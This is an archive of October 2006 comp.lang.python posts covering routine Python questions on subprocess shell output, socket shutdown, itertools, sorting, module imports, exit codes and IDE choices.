Message-ID: <1161017215.083211.188030@m7g2000cwm.googlegroups.com>

Now we have 3 different outputs from 3 people to the command:
>>> f = subprocess.Popen("set | grep IFS", shell=True,
                         stdout=subprocess.PIPE)
>>> f.stdout.readlines()

>From me on FC5:
["BASH_EXECUTION_STRING='set | grep IFS'\n", "IFS=' \t\n"]

>From Fredrik Lundh on unknown OS:
["IFS=$' \\t\\n'\n"]

>From Sion Arrowsmith on Debian 1:3.3.5-12:
["IFS=' \t\n"]

I found this problem while developing a CGI shell:
http://code.google.com/p/cgpy-shell/

Although the cgi-shell is working quite well, this issue is a show
stopper for that project. I need a stable/reliable output from Popen().
It looks like each bash or sh version outputs things differently, with
different escaping.

It is not a problem if there is only one or more than one line in the
returned list as i will always get the last one. The problem is the
escaping.



From steve at holdenweb.com  Fri Oct 27 01:42:23 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 27 Oct 2006 06:42:23 +0100
Subject: To Stop a Process that is Waiting on socket.accept()
In-Reply-To: <1161926712.933304.74090@e3g2000cwe.googlegroups.com>
References: <1161926712.933304.74090@e3g2000cwe.googlegroups.com>
Message-ID: <ehs65t$ftv$1@sea.gmane.org>

mumebuhi wrote:
> I am having problem to kill the following script completely. The script
> basically does the following. The main thread creates a new thread,
> which does a completely useless thing, and then starts excepting for a
> connection via socket.
> 
> # start
> import pickle
> import signal
> import simplejson
> import socket
> import sys
> import threading
> import time
> 
> counter = 0
> 
> class WorkerThread(threading.Thread):
> 	def run(self):
> 		global counter
> 		while True:
> 			counter += 1
> 			time.sleep(10)
> 
> worker_thread = WorkerThread()
> worker_thread.start()
> 
> server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> server.bind(('', 2727))
> server.listen(2)
> 
> def cleanup(signal, frame):
> 	print "die now"
> 	worker_thread.join(1)
> 	server.shutdown(socket.SHUT_RDWR)
> 	sys.exit(0)
> signal.signal(signal.SIGINT, cleanup)
> 
> while True:
> 	channel, details = server.accept()
> 	stats = { 'key': "value" }
> 	s = simplejson.dumps(stats)
> 	channel.send(s)
> 	channel.close()
> # end
> 
> The way I can think of right now is to kill the script using Ctrl+C.
> Hence, the signal handler in the code. However, the interpreter
> complains:
> ---start---
> Traceback (most recent call last):
>   File "ex_server.py", line 35, in ?
>     channel, details = server.accept()
>   File "/usr/lib/python2.4/socket.py", line 169, in accept
>     sock, addr = self._sock.accept()
>   File "ex_server.py", line 30, in cleanup
>     server.shutdown(SHUT_RDWR)
> NameError: global name 'SHUT_RDWR' is not defined
> ---end---
> 
> Can anybody suggest a better way to do this?
> 
You haven't copied the code you are actually running. The program above 
may or may not work, but compare the server.shutdown line in the 
traceback with the server.shutdown line in the program and you'll see 
they aren't the same.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From http  Tue Oct 10 13:27:55 2006
From: http (Paul Rubin)
Date: 10 Oct 2006 10:27:55 -0700
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
	<mailman.34.1160260043.11739.python-list@python.org>
	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
	<m2wt782j4y.fsf@ordesa.local>
Message-ID: <7xwt78ullw.fsf@ruckus.brouhaha.com>

Piet van Oostrum <piet at cs.uu.nl> writes:
> The official Python documentation (language reference manual) talks a lot
> about variables. So it seems silly to say that Python doesn't have
> variables.

The symbols on the left side of = signs are called variables even in
Haskell, where they don't "vary" (you can't change the value of a
variable once you have set it).


From ptmcg at austin.rr._bogus_.com  Wed Oct  4 09:02:06 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 04 Oct 2006 13:02:06 GMT
Subject: replacing all 'rng's in a buffer with consecutive r[1], r[2]'s
References: <mailman.1253.1159962380.10491.python-list@python.org>
Message-ID: <ihOUg.25395$DU3.5578@tornado.texas.rr.com>

"m g william" <mgbg25171 at blueyonder.co.uk> wrote in message 
news:mailman.1253.1159962380.10491.python-list at python.org...
<snip>
> #now replace all 'rng's with consecutive streams
> #===============================================
> def static_num():
>    ''' this is a generator function that avoids globals
> yield differentiates fn as generator fn which freezes
> '''
>    x = 0
>    while True:
>       x += 1
>       yield str(x)
>
> static = static_num().next

Also, check out itertools.count (one of many tools from the excellent 
itertools module), as in:

    static - itertools.count().next

- no need to roll this function for yourself.  You still need to call it for 
each substitution, though, as described elsewhere.

-- Paul 




From samnemo at gmail.com  Mon Oct 23 16:28:46 2006
From: samnemo at gmail.com (samn)
Date: 23 Oct 2006 13:28:46 -0700
Subject: python2.5 importerror on md5
In-Reply-To: <mailman.1008.1161634211.11739.python-list@python.org>
References: <1161630406.102958.22270@i3g2000cwc.googlegroups.com>
	<mailman.1002.1161631426.11739.python-list@python.org>
	<1161631938.267555.303790@h48g2000cwc.googlegroups.com>
	<mailman.1008.1161634211.11739.python-list@python.org>
Message-ID: <1161635326.472236.12070@i42g2000cwa.googlegroups.com>

i think the problem is different versions of openssl on the two
machines , 0.9.7a and 0.9.8b



From paul at boddie.org.uk  Wed Oct 11 06:35:45 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 11 Oct 2006 03:35:45 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
Message-ID: <1160562945.079609.98640@m7g2000cwm.googlegroups.com>

Peter Maas wrote:
> Bruno Desthuilliers schrieb:
>  > Marc 'BlackJack' Rintsch wrote:
>  > (snip)
>  >   Python itself is a RAD tool.
>  >
>  > +1 QOTW
>
> No, please stop self-assuring, self-pleasing QOTWs!

+1 QOTW! ;-)

[Java, Ruby, JRuby, the hype]

> To prevent this to happen parts of the Python community should have a
> more critical attitude to the language. Too often I hear the same
> mantras being repeated over and over again (GIL, self, IDE etc.).

People who bring up stuff about self and indentation are just showing
their ignorance, in my opinion, since Python isn't the first language
to use self in such a way, and many C++ and Java programs use this
pervasively in order to make attribute scope explicit, whereas the
indentation matter is only troublesome with bad editing practices. I
don't think the community should spend any more time on these
criticisms.

However, the GIL and issues of tools and IDEs should be considered in a
more sophisticated way. I'm not advocating the removal of the GIL, but
there needs to be a better story for people wanting to use more than
one core or CPU within a single program on a multicore/multiprocessor
system. My contribution in that field has been the pprocess module [1]
which lets you play in a sort of multithreaded environment, although
you're actually using multiple processes whose globals are only shared
in a read-only sense, and the way forward may be to make this available
to Windows users by adding an os.fork implementation for them to the
standard library, as I suggested previously [2]. Meanwhile, whilst not
an IDE advocate myself, there really does need to be further
improvements in the analysis of Python source code so that people can
build improved tools to check Python programs for obvious
"compile-time" errors and to inspect the behaviour of large amounts of
code. One reads occasionally on the python-dev or python-3000 mailing
lists that some proposed change or other may or may not have an impact
on "real world" systems such as the standard library, but that no-one
can really say: we need to move beyond the "Python is just so dynamic"
meme and develop tools like PyLint and PyChecker much further.

> I don't say these mantras are all wrong but perhaps it would be good to
> remove the GIL just to stop people talking about Python's lack of
> multi-threading or polish Python's class syntax to stop people talking
> about Python's OO being bolted on etc. Programmers often choose their
> languages by very silly reasoning (silliest being the indentation issue)
> and maybe we should take the silliness into account instead of laughing
> about those silly folks.

This kind of stuff can be tackled by providing better introductory,
educational or promotional material, with the latter especially
important to stop the uninformed "rubbishing" that advocates of certain
other languages seem particularly inclined to indulge in.

> I for my part would be happy to see a Delphi-like RAD tool for Python,
> a reference implementation for web programming as part of the standard
> library, Jython 2.5, Python for PHP or whatever attracts new programmers.

As I noted in the "Python component model" thread [3], tools like Qt
Designer seem to go a long way towards providing RAD-like solutions,
even though they aren't "pure Python". Meanwhile, the Web programming
standardisation scene remains stagnant. Sure, you can pretend that WSGI
middleware is the future, and even I can see that layering components
is an acceptable way of building Web applications, but I'm not using
WSGI to do that because the whole exercise requires multiple trips to
the Web technology supermarket (once for a server, again for a server
adapter, again for stuff to make the WSGI API bearable, and so on,
repeat when you find one or more components to be immature) and I doubt
that people shopping around for an easy way to write applications are
especially convinced either.

But I largely agree with what you've written, and the cause of the
symptoms is the excessive focus on changing the language rather than
improving the libraries, the tools and the peripheral elements of the
development experience. If you think the standard library is
incoherent, jump into the proposal I've been writing [4] to suggest
improvements and to help out, because this kind of work isn't going to
happen otherwise, unfortunately. Returning to the lack of Python books,
it's rather telling that a review of "Python in a Nutshell" that just
caught my eye says the following:

"Considering that the Zen of Python is barely being followed as the
core language has feature upon feature heaped upon it, a book like this
helps poor programmers simply wanting to use the language keep up with
the changes."

I know that certain other languages aren't exactly unchanging (and may
possibly undergo further upheaval), and that publishers like having
more books to sell on the very same topic, but after a while both
authors and readers become tired of having to respectively write/update
or buy new books because of relentless and seemingly frivolous changes
to a language or technology.

Paul

[1] http://www.python.org/pypi/parallel
[2]
http://groups.google.com/group/comp.lang.python/msg/c6d8f8aa2cfb8562
[3]
http://groups.google.com/group/comp.lang.python/msg/f678b500493a38f1
[4]
http://wiki.python.org/moin/CodingProjectIdeas/StandardLibrary/RestructuredStandardLibrary



From __peter__ at web.de  Wed Oct  4 11:59:33 2006
From: __peter__ at web.de (Peter Otten)
Date: Wed, 04 Oct 2006 17:59:33 +0200
Subject: A Universe Set
References: <mailman.1273.1159975101.10491.python-list@python.org>
Message-ID: <eg0llp$ljb$03$1@news.t-online.com>

Jean-Paul Calderone wrote:

> On Wed, 04 Oct 2006 11:00:28 -0400, Leif K-Brooks <eurleif at ecritters.biz>
> wrote:
>>Jorgen Grahn wrote:
>>> - infinite xrange()s
>>
>>itertools.count()?
> 
> Not quite:
> 
>     >>> import sys, itertools
>     >>> c = itertools.count(sys.maxint)
>     >>> c.next()
>     2147483647
>     >>> c.next()
>     -2147483648
>     >>> 
> 
> Jean-Paul

>>> import sys
>>> from itertools import count
>>> c = count(sys.maxint)
>>> c.next()
2147483647
>>> c.next()
2147483648L

sys.maxint and then some cheers on Python 2.5 :-)

Peter


From danb_83 at yahoo.com  Thu Oct  5 23:08:48 2006
From: danb_83 at yahoo.com (Dan Bishop)
Date: 5 Oct 2006 20:08:48 -0700
Subject: printing variables
In-Reply-To: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
Message-ID: <1160104128.833442.98470@b28g2000cwb.googlegroups.com>

On Oct 5, 9:47 pm, s99999999s2... at yahoo.com wrote:
> hi
> say i have variables like these
>
> var1 = "blah"
> var2 = "blahblah"
> var3 = "blahblahblah"
> var4 = "...."
> var5 = "..."..
>
> bcos all the variable names start with "var", is there a way to
> conveniently print those variables out...
> eg print var* ??
> i don't want to do :
>
> print var1, var2, var3, var4 ......etc...

def print_vars(var_dict, prefix=''):
    var_names = sorted(name for name in var_dict if
name.startswith(prefix))
    for name in var_names:
        print var_dict[name],
    print

def example():
    var1 = 'blah'
    var2 = 'blahblah'
    var3 = 'spam'
    var4 = 'eggs'
    ignored_var = 'foo'
    print_vars(locals(), 'var')



From neoedmund at gmail.com  Mon Oct 16 05:33:59 2006
From: neoedmund at gmail.com (neoedmund)
Date: 16 Oct 2006 02:33:59 -0700
Subject: python's OOP question
In-Reply-To: <45334fa9$0$5656$426a74cc@news.free.fr>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<45334fa9$0$5656$426a74cc@news.free.fr>
Message-ID: <1160991239.541020.115320@m7g2000cwm.googlegroups.com>


Bruno Desthuilliers wrote:
> neoedmund wrote:
> (*PLEASE* stop top-posting - corrected)
> >
> > Ben Finney wrote:
> >> [Please don't top-post above the text to which you're replying.]
> >>
> >> "neoedmund" <neoedmund at gmail.com> writes:
> >>
> >>> I'm trying to achieve a higher level of "reusability". Maybe it
> >>> cannot be done in python? Can anybody help me?
> >> What, specifically, are you trying to achieve? What problem needs
> >> solving?
>
> > python use multiple inheritance.
> > but "inheritance" means you must inherite all methods from super type.
> > now i just need "some" methods from one type and "some" methods from
> > other types, to build the new type.
> > Do you think this way is more flexible than tranditional inheritance?
>
> While dynamically adding attributes (and methods - which are attributes
> too) is not a problem, I'd second Gregor's anwser : it might be better
> to use composition/delegation here.
>

Could you show some code to help me know how composition/delegation can
be done here? Thanks.



From jiri.zahradil at gmail.com  Mon Oct 30 07:20:04 2006
From: jiri.zahradil at gmail.com (jiri.zahradil at gmail.com)
Date: 30 Oct 2006 04:20:04 -0800
Subject: CHM help file for Python 2.5
Message-ID: <1162210804.269452.288100@i42g2000cwa.googlegroups.com>

Hello,

For Python 2.4, documentation was available in .chm format. For new
Python 2.5,
I am missing this format (download page:
http://docs.python.org/download.html).
Can anyone point me to new location of this version of manual,
or tell me why this format is no longer supported ... ?

thanks

--
Jiri Zahradil



From ggmailalias-cgag at yahoo.com.ar  Sat Oct 28 19:29:56 2006
From: ggmailalias-cgag at yahoo.com.ar (ggmailalias-cgag at yahoo.com.ar)
Date: 28 Oct 2006 16:29:56 -0700
Subject: What is the cleanest way to for a module to access objects from
	the script that imports it?
In-Reply-To: <ehvgce$85h$1@news.albasani.net>
References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
	<ehvgce$85h$1@news.albasani.net>
Message-ID: <1162078196.733275.279500@f16g2000cwb.googlegroups.com>


robert ha escrito:

> noamsml at gmail.com wrote:
> > Hi,
> >
> > I am new to python and am currently writing my first application. One
> > of the problems I quickly ran into, however, is that python's imports
> > are very different from php/C++ includes in the sense that they
> > completely wrap the imported script in a module object. One of the
> > problems with this was that a plugin system that I am making requires
> > use of objects, classes and the such from the original script. Thus, on
> > one hand, I am hesitant to use execfile(), since I *do* want to wrap
> > the plugin up, but on the other hand, I want the plugin to be able to
> > use functions from the original script. Any ideas?
> >
>
> you can import __main__ in your module: import __main__; __main__.app_xfunc(y)
>
> But for most cases I'd say your "problem" is an indication of weak design (thanks to Pythons clear module tech).
>
> Maybe:
>
> * if the funcs are tools, put them in an extra module
>
> * if its about app-global parameters(tools), make a module "myglob" or so
>
> * if the funcs have app-context, hand over/set them as "callback" functions or iterators like ..
>
> def app_xfunc(par):pass
> mody.set_xhandler(app_xfunc)
> mody.yfunc(a,b,..., cbProgress=app_xfunc)
> def app_xstepper():
>     yield next
> mody.yfunc2(a,b,..., step=app_xstepper)
> ...
>
>
> * if you have 2 moduls on equal dependency level and each needs the other (sometimes) - thus you don't want to have one big module, then cross import them ..
>
> #modx
> import mody
> def fx():
>     mody.doy()
> #mody
> import modx
> def fy():
>     modx.dox()
>
>
> Python allows everything most easy for that kind of problems of all langs I know of. Mainly the fact that a module is a real object in Python provides tremendous flexibility and self-similarity of techniques. Ruby for example is weired - even really bad - in this.
> 
> -robert



From skip at pobox.com  Tue Oct 17 09:11:27 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 17 Oct 2006 08:11:27 -0500
Subject: Newbie: datetime conversion question
In-Reply-To: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>
References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>
Message-ID: <17716.54911.718790.57060@montanaro.dyndns.org>


    kevin> I'm trying to convert some code from Ruby to Python,
    kevin> specifically..

    kevin> timestamp = "%08x" % Time.now.to_i

    kevin> Make a hex version of the current timestamp. Any ideas how best
    kevin> to do this in python gratefully received..

Try

    import time
    timestamp = hex(int(time.time()))

Skip


From fredrik at pythonware.com  Tue Oct 17 12:28:20 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 18:28:20 +0200
Subject: Tertiary Operation
In-Reply-To: <roy-E5C232.10101917102006@reader2.panix.com>
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>	<mailman.636.1161092631.11739.python-list@python.org>	<1161093117.541719.320210@i3g2000cwc.googlegroups.com>
	<roy-E5C232.10101917102006@reader2.panix.com>
Message-ID: <eh30b4$bs5$1@sea.gmane.org>

Roy Smith wrote:

> Why not just:
> 
> if x is None:
>    result = str(x)
> else:
>    result = ""
> 
> It's a couple more lines of code, but it's obvious what it means.

and if you're doing this a few times, putting it in a function is even 
better.

     def tostring(obj):
         if obj is None:
             return ""
         return str(obj)

     print tostring(key)
     print tostring(foo), tostring(bar)
     file.write(tostring(record[1]))

this also makes it easier to tweak things once you realize that not 
everything should be passed through str():

     def tostring(obj):
         if obj is None:
             return ""
         if isinstance(obj, basestring):
             return obj
         return str(obj)

</F>



From martin at v.loewis.de  Mon Oct  2 12:43:06 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 02 Oct 2006 18:43:06 +0200
Subject: commands.getstatusoutput result is not command line exit value!!!
In-Reply-To: <mailman.1105.1159804607.10491.python-list@python.org>
References: <452125F8.8070106@googlemail.com>
	<efrat3$db4$1@sea.gmane.org>	<45213245.3000808@googlemail.com>
	<452133F1.5050401@holdenweb.com>
	<mailman.1105.1159804607.10491.python-list@python.org>
Message-ID: <4521419A.6090202@v.loewis.de>

Hari Sekhon schrieb:
> I'm sorry, this may seem dense to you but I have to ask. What on earth
> are you talking about?

You may not be dense, but you are certainly fairly aggressive in your
postings. If you just want to complain, go ahead. If you want actual
help, you should reconsider your tone.

> Why is it shifted 8 bits to the left?

As Steve says, that what the system returns (from popen(3)), in this
case. It's the true exit status, not just the exit code.

> Why is there bitshifting at all?

Read some Unix book.

> Why doesn't commands give the same exit value as os.system() and the
> unix cli?

Read some Unix book.

> When you choose to exit a program you give it a return value to exit
> with, so why would this change, I exit with the number 1 then expect
> that number to be the exit code, right?

Read some Unix book. Hint: how do you know whether the program was
killed, and didn't actually invoke exit(3)?

> Where do these higher numbers
> come into the equation and why?

Read some Unix book. Hint: Read about WIFEXITED, WIFSIGNALED, and
WEXITSTATUS.

> Please assume that I am not a mind reader and require explanation before
> I can understand.

You are apparently not a documentation reader, as well. Nobody owes you
an explanation.

Regards,
Martin


From steve at holdenweb.com  Fri Oct 13 07:44:34 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 13 Oct 2006 12:44:34 +0100
Subject: Python Best Practice References
In-Reply-To: <1xIXg.22340$Ij.9008@newssvr14.news.prodigy.com>
References: <mailman.420.1160724159.11739.python-list@python.org>
	<1xIXg.22340$Ij.9008@newssvr14.news.prodigy.com>
Message-ID: <egnu57$hfo$1@sea.gmane.org>

James Stroud wrote:
> Wijaya Edward wrote:
> 
>>Can anybody suggest any references (links, books, etc)about this?
>>I'm thinking of something similar with D.Conway's "Perl Best Practice".
>> 
>>-- Edward WIJAYA
>>SINGAPORE
>>
>>------------ Institute For Infocomm Research - Disclaimer -------------
>>This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
>>--------------------------------------------------------
> 
> 
> By all means, please start here:
> 
> http://www.python.org/doc/essays/styleguide.html
> 
Nowadays I suspect PEP 8, derived from that essay, would be considered 
more authoritative.

   http://www.python.org/dev/peps/pep-0008/

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From Hakusa at gmail.com  Thu Oct 26 19:59:06 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 26 Oct 2006 16:59:06 -0700
Subject: What's the best IDE?
In-Reply-To: <fT40h.7805$5i7.6796@newsreading01.news.tds.net>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
	<7g40h.165$1n3.4282@news.tufts.edu>
	<fT40h.7805$5i7.6796@newsreading01.news.tds.net>
Message-ID: <1161907146.900636.219820@k70g2000cwa.googlegroups.com>

What I mean was that it was late and I needed sleep. I'll work with
Vim, but it's not like I can spend a week learning it anyway, I don't
have that much time AND time to actualy program. And thanks all to have
posted suggestions and comments thus far.



From johnjsal at NOSPAMgmail.com  Fri Oct 13 15:00:14 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 13 Oct 2006 19:00:14 GMT
Subject: wing ide vs. komodo?
Message-ID: <2nRXg.108$1n3.2866@news.tufts.edu>

Just curious what users of the two big commercial IDEs think of them 
compared to one another (if you've used both).

Wing IDE looks a lot nicer and fuller featured in the screenshots, but a 
glance at the feature list shows that the "personal" version doesn't 
even support code folding! That's a little ridiculous and makes me have 
doubts about it.

Komodo, on the other hand, seems to have more of the features that the 
personal version of Wing IDE lacks (call tips, class browser, etc.) but 
the look of it seems very sparse for some reason.


From hanumizzle at gmail.com  Sun Oct  8 01:38:22 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Sun, 8 Oct 2006 01:38:22 -0400
Subject: Raw beginner....
In-Reply-To: <45288B4A.90702@gmail.com>
References: <45288B4A.90702@gmail.com>
Message-ID: <463ff4860610072238v791e6356kc1ad68fbca4fa78f@mail.gmail.com>

On 10/8/06, Colin Lehmann <colin.lehmann at gmail.com> wrote:
> I am new to Python although I have been using Delphi since version one,
> I have been employed as a C and C++ programmer so when I went to Linux
> (Ubuntu 5.10) I thought Python looked pretty good.
> I downloaded and installed 'Eric Python IDE' which seems OK, any
> alternatives suggested will be looked at....

Myself, I just use GNU Emacs. But this is perhaps an acquired taste.

> My current problem is I am trying to compile a package I downloaded, it
> is a PodCaster called 'CastPodder'!!), I looked at the source file and
> it tried to import something called 'wxversion' and couldn't find it.

Please copy and paste the exact error messages into a reply.

> I searched the net and found a package called 'Python wxversion???.Deb'.
> Downloaded it and unpacked it but the IDE still can't find it!

Have you installed the base wxpython package as well? Furthermore, are
you using Ubuntu package? I don't know Debian variants too well, but
it seems best to go with the official release.

http://packages.ubuntu.com/cgi-bin/search_packages.pl?keywords=wx&searchon=names&subword=1&version=dapper&release=all

> My question is : Where should I put the package (download it to..) so
> when I unpack it the IDE can find it?
> I looked around and found a reference to PYTHONPATH which is supposed to
> tell Python where everything is but I simply cannot find it anywhere. I
> found sys.path but I don't think that is what I want....

sys.path and PYTHONPATH do configure the location of Python libraries
for special purposes. sys.path is actually a list of all standard
locations for libraries built-in to Python at compile time as well as
nonstandard locations given in PYTHONPATH or through command line
arguments. You can even add to sys.path dynamically I think. But
wxpython from Debian/Ubuntu should install to a standard location.

-- Theerasak


From clarence1126 at gmail.com  Wed Oct 25 18:28:44 2006
From: clarence1126 at gmail.com (Clarence)
Date: 25 Oct 2006 15:28:44 -0700
Subject: Tortoise, Hare, Hell, None
Message-ID: <1161815324.165332.79730@i3g2000cwc.googlegroups.com>

Five and a half years ago, Tim Peters (glory be to his name) made the
following statement:
> In that respect, None is unique among non-keyword names, and for that reason
> alone it should be a keyword instead of a global.  I expect that will happen
> someday, too.  But it's a race between that and hell freezing over <wink>.

We now know who won.



From sanzhiyan at gmail.com  Mon Oct 16 15:02:49 2006
From: sanzhiyan at gmail.com (Saizan)
Date: 16 Oct 2006 12:02:49 -0700
Subject: Need a strange sort method...
In-Reply-To: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
Message-ID: <1161025369.299821.40010@i3g2000cwc.googlegroups.com>


SpreadTooThin wrote:
> I have a list and I need to do a custom sort on it...
>
> for example:
> a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order
>
> def cmp(i,j):  #to be defined in this thread.
>
> a.sort(cmp)
>
> print a
> [1,4,7,10,  2,5,8, 3,6,9]
>
> So withouth making this into an IQ test.
> Its more like
> 1 4 7 10
> 2 5 8
> 3 6 9
>
> Read that top to bottom from column 1 to column 4.
> When you get to the bottom of a column move to the next column.
> Get it?
It's a little vague, but i'm supposing that if you have an 11 in a the
order will be:
[1,4,7,10, 2,5,8,11, 3, 6,9]
If this holds then your order is based on x%3. You place first all x
for which x%3 == 1, then x%3 == 2, and last x%3 == 0. And among these
three group you use "natural" order.
 so:
def yourcmp(i,j):
   ri = i%3
   rj = j%3
   if ri == rj: return i.__cmp__(j)
   elif ri == 0: return 1
   elif rj == 0: return -1
   else: return ri.__cmp__(rj)
This works with your example, and with my assumption, feel free to
"optimize" the if/elif block.

However you shuold pay attention to the 0 behavior.
a = range(11)
a.sort(yourcmp)
print a
[1, 4, 7, 10, 2, 5, 8, 0, 3, 6, 9]



From rrr at ronadam.com  Sun Oct 22 14:31:04 2006
From: rrr at ronadam.com (Ron Adam)
Date: Sun, 22 Oct 2006 13:31:04 -0500
Subject: PSF Infrastructure has chosen Roundup as the issue tracker for
	Python development
In-Reply-To: <1161535156.311165.243450@i3g2000cwc.googlegroups.com>
References: <bbaeab100610201335q7fe14f9dx3be89b529778a7a@mail.gmail.com>
	<mailman.911.1161463896.11739.python-list@python.org>
	<1161535156.311165.243450@i3g2000cwc.googlegroups.com>
Message-ID: <9RO_g.37579$rg1.12857@dukeread01>

Kay Schluehr wrote:
> Anna Ravenscroft wrote:
> 
>> Interestingly enough, the quote of the day from Google on this email was:
>>
>> Never doubt that a small group of thoughtful, committed citizens can
>> change the world; indeed, it's the only thing that ever has.
>> Margaret Mead
> 
> Commitment. Some individuals do the actual changes but others have to
> commit to make these changes effective. I've no indication in human
> history that groups are innovative or that they produce anything
> compelling new. Sometimes they support ventilation or being busy with
> "conservative innovation" or other oxymoronic activities. They serve a
> critical function but are most of the time uncritical to themselves and
> critical to everything and everyone else who is not using their own
> code(s). Identifying the enemy is still the prime function of the
> political and politics is all about groups. In this simple social
> scheme the "hero" indicates the border. The hero acts outside of the
> order of the group/society but the society uses the hero to indicate
> its own interior in some kind of hegelian twist: the hero is the
> otherness defining the self. The hero is the radical other supporting
> the groups identify. At best the hero becomes the prince/souvereign of
> the group and the group identifies itself as its knights. So the whole
> truth about "changing the world" might be just slightly more complex.

Committees often do fit this description.

Of course, this is a subject that is very dependent on viewpoints.

The world changes.  Sometimes those changes are the result of certain events 
where groups of people were present.  Sometimes individuals in the group had a 
significant effect on the outcome of those events.  Sometimes the individuals 
were committed to a common purpose.  Sometimes they were aided by sharing 
information and effort to achieve that purpose.  Sometimes the outcome was one 
that is very unlikely or impossible for a single individual to have produced.

It is this last point that is important.

Sometimes groups are formed with the desire of reproducing this last point.

Sometimes they succeed.


There is also the view point of informal groups of individuals working 
separately but having a significant combined effect.  This is probably the more 
common situation.

But not as common as the viewpoint you've stated above unfortunately.

Cheers,
   Ron



> Never thought having a small philosophical conversion with Margaret
> Mead beyond time and space. So many thanks to great Google and its
> devotees. 
> 
> Kay



From fredrik at pythonware.com  Thu Oct 26 02:48:51 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 08:48:51 +0200
Subject: basic questions on cmp, < and sort
In-Reply-To: <ehp5hu$foo$1@news2.rz.uni-karlsruhe.de>
References: <ehp5hu$foo$1@news2.rz.uni-karlsruhe.de>
Message-ID: <ehploi$hue$1@sea.gmane.org>

Sch?le Daniel wrote:

> first question
> 
> In [117]: cmp("ABC",['A','B','C'])
> Out[117]: 1
> 
> against what part of the list is the string "ABC" compared?

     http://docs.python.org/lib/comparisons.html

     "Objects of different types, except different numeric types and
     different string types, never compare equal; such objects are
     ordered consistently but arbitrarily (so that sorting a hetero-
     geneous array yields a consistent result)"

> class X does not implement < and cmp
> what is this comparision is based on?

     "objects of the same types that don't support proper comparison
     are ordered by their address"

> third question
> 
> sort([[1,2,3],["ABC"],['Z','A'], X(), 4)
> 
> how does python handle heterogenous items in the list
> in this case?


     "Objects of different types, except different numeric types and
     different string types, never compare equal; such objects are
     ordered consistently but arbitrarily (so that sorting a hetero-
     geneous array yields a consistent result)"

> first I assumed

no, first you assumed that this wasn't documented.

</F>



From grante at visi.com  Thu Oct 26 21:46:43 2006
From: grante at visi.com (Grant Edwards)
Date: Fri, 27 Oct 2006 01:46:43 -0000
Subject: Insert Content of a File into a Variable
References: <mailman.1310.1161913065.11739.python-list@python.org>
Message-ID: <12k2p83kuo28ef7@corp.supernews.com>

On 2006-10-27, Wijaya Edward <ewijaya at i2r.a-star.edu.sg> wrote:

> How can we slurp all content of a single file 
> into one variable?

http://docs.python.org/tut/node9.html#SECTION009200000000000000000

I suggest you read the rest of the tutorial as well.

-- 
Grant Edwards                   grante             Yow!  I want EARS! I
                                  at               want two ROUND BLACK
                               visi.com            EARS to make me feel warm
                                                   'n secure!!


From rurpy at yahoo.com  Sun Oct 15 11:26:40 2006
From: rurpy at yahoo.com (rurpy at yahoo.com)
Date: 15 Oct 2006 08:26:40 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <SEhYg.7681$gL.2383@southeast.rr.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
Message-ID: <1160926000.351967.8340@f16g2000cwb.googlegroups.com>


T. Bryan wrote:
> Thomas Heller wrote:
>
> > I cannot connect to starship.python.net: neither http, nor can I login
> > interactively with ssl (and the host key seems to have changed as well).
> >
> > Does anyone know more?
>
